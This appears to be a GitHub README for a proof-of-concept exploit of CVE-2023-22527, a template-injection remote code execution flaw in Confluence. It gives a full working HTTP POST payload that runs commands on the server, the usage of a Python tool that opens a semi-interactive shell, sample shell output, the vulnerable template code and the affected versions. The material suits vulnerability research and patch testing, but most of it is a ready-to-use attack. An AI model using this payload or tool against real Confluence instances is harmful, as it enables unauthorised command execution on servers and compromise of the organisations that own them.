Vozec / CVE-2023-22527

This repository presents a proof-of-concept of CVE-2023-22527

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

CVE-2023-22527

This repository presents a proof-of-concept of CVE-2023-22527

CVE-2023-22527 | RCE using SSTI in Confluence

Disclamer

This code is a proof of concept of the vulnerability, I'm not pushing anyone to use it on confluence instances they don't own.
This tool has been developed for research and educational purposes only and I will not be held responsible for any use you may make of it.

Description

CVE-2023-22527 refers to an ServerSide template injection vulnerability in freemarker engine that allows users to execute command on the webserver.

Payload:

Here's an example payload

POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))

Help

$ python3 CVE-2023-22527.py -h
usage: CVE-2023-22527.py [-h] [-u URL] [-c COMMAND] [-i]

This is a POC for CVE-2023-22527 (Confluence SSTI)

options:
  -h, --help  show this help message and exit
  -u URL      Url
  -c COMMAND  Command
  -i          Interactive mod

Example

python3 CVE-2023-22527.py -u  http://127.0.0.1:8092 -i
[DEBUG] Spawning semi-interactive shell ..
$ id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
$ whoami
confluence
$ ls -lha
total 128K
drwxr-xr-x 19 confluence confluence 4.0K Jan 23 08:42 .
drwxr-xr-x  1 root       root       4.0K Jan 20 16:15 ..
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 analytics-logs
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:40 attachments
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 backups
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 bundled-plugins
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:38 .cache
-rw-r-----  1 confluence confluence 6.1K Jan 23 08:42 confluence.cfg.xml
-rw-r--r--  1 confluence confluence    1 Jan 23 08:13 docker-app.pid
drwxr-x---  4 confluence confluence 4.0K Jan 23 08:42 index
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:37 .java
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:43 journal
-rw-r-----  1 confluence confluence    0 Jan 23 08:37 lock
drwxr-x---  4 confluence confluence 4.0K Jan 23 08:42 log
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:13 logs
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 plugins-cache
drwxr-x---  5 confluence confluence 4.0K Jan 23 08:37 plugins-osgi-cache
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 plugins-temp
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:42 shared-home
-rw-r-----  1 confluence confluence  860 Jan 23 08:42 synchrony-args.properties
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:40 temp
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:37 viewfile
drwxr-x---  2 confluence confluence  40K Jan 23 08:46 webresource-temp

The vulnerability is located in the file below: ./confluence/confluence/template/aui/text-inline.vm

Vulnerable code:

#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
    #set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
    <span class="aui-icon icon-required"></span>
    <span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")

Affected versions

Confluence Data Center and Server

  • 8.0.x
  • 8.1.x
  • 8.2.x
  • 8.3.x
  • 8.4.x
  • 8.5.0-8.5.3

References:

About

This repository presents a proof-of-concept of CVE-2023-22527


Languages

Language:Python 100.0%